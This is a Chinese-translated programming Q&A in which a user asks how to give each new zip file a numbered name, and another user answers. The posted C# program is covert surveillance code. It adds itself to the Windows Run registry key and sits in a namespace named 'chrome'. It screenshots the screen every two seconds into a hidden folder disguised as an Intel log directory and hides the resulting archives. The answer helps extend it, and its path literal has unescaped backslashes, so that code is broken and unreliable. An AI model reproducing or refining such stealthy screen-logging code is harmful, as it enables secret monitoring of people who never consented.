如何编写程序以为目录中的每个新文件创建新文件名?

时间:2017-08-24 04:00:10

标签: c#

我有一个程序,每隔2小时从指定的文件夹中获取文件并将它们压缩成一个zip文件,然后保存在另一个文件夹中。因此,代码将创建一个名为“zip”的zip文件,但是当它在2小时后创建第二个zip文件时,它将无法生成,因为已存在名为“zip”的文件。我想知道如何使代码看到已经有一个名为“zip”的文件,并将新的zip文件命名为“zip2”,然后命名为“zip3”,“zip4”依此类推。我知道这个功能早在我的代码中已经出现在屏幕截图中了,但是我没有编写代码的那部分而且我很困惑如何从该部分获取并将其应用于此部分。

非常感谢您的帮助。如果您有任何问题,请让我澄清。

这是我的代码:

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;
using System.IO.Compression;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch (Exception e)
            {
                Console.WriteLine("show1:" + e.Message);
            }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {

                    OnTimedEvent();
                    Thread.Sleep(2000);
                }
                catch (Exception e)
                {
                    Console.WriteLine("show2:" + e.Message);
                }
                //-------------------------

            }
        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
                File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }

            {
                string startPath = @"c:\example\start";
                string zipPath = @"c:\example\result.zip";

                ZipFile.CreateFromDirectory(startPath, zipPath);

                File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
            }
        }
    }
}

1 个答案:

答案 0 :(得分:1)

我已修改内联代码(从上面摘录的底部):

try
        {
            memoryImage.Save(str);
        }
        catch (Exception er)
        {
            Console.WriteLine("Sorry, there was an error: " + er.Message);
        }

        {
            string startPath = @"c:\example\start";
            string zipPath = @"c:\example\result.zip";

// start of directory logic you need to calculate the number of existing files in the directory you are about to put the new zip
  string[] filenames = Directory.GetFiles("path_to_your_directory_of_zip_files");
  int count = filenames.Length;

  if (count > 0)
    zipPath = string.Format("c:\example\result_{0}.zip", count);

//End of new logic 

  // then do your saving using the new filename...
  ZipFile.CreateFromDirectory(startPath, zipPath);

查看上面的代码,您正在使用Thread.Sleep等待生成文件。我可以建议您查看FileSystemWatcher类,它会告诉您何时文件到达,删除或修改等。这将允许您以异步方式做出反应,而不是在特定时间内阻止您的线程,这可能会也可能不会足够长的时间让事情像你期望的那样。